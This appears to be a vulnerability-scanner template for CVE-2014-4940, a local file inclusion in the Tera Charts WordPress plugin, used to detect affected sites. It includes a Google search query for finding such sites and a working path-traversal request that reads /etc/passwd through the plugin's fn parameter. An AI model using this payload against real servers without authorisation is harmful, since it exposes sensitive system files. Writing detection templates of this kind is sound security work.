CVE-2014-4940: WordPress Plugin Tera Charts - Local File Inclusion

id: CVE-2014-4940

info:
  name: WordPress Plugin Tera Charts - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Multiple local file inclusion vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Update to the latest version of the Tera Charts plugin to fix the local file inclusion vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4940
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=851874%40tera-charts&old=799253%40tera-charts&sfp_email=&sfph_mail=
    - http://codevigilant.com/disclosure/wp-plugin-tera-chart-local-file-inclusion/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-4940
    cwe-id: CWE-22
    epss-score: 0.57666
    epss-percentile: 0.98106
    cpe: cpe:2.3:a:tera_charts_plugin_project:tera-charts:0.1:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: tera_charts_plugin_project
    product: tera-charts
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/tera-charts"
  tags: cve2014,cve,wordpress,wp-plugin,lfi,tera_charts_plugin_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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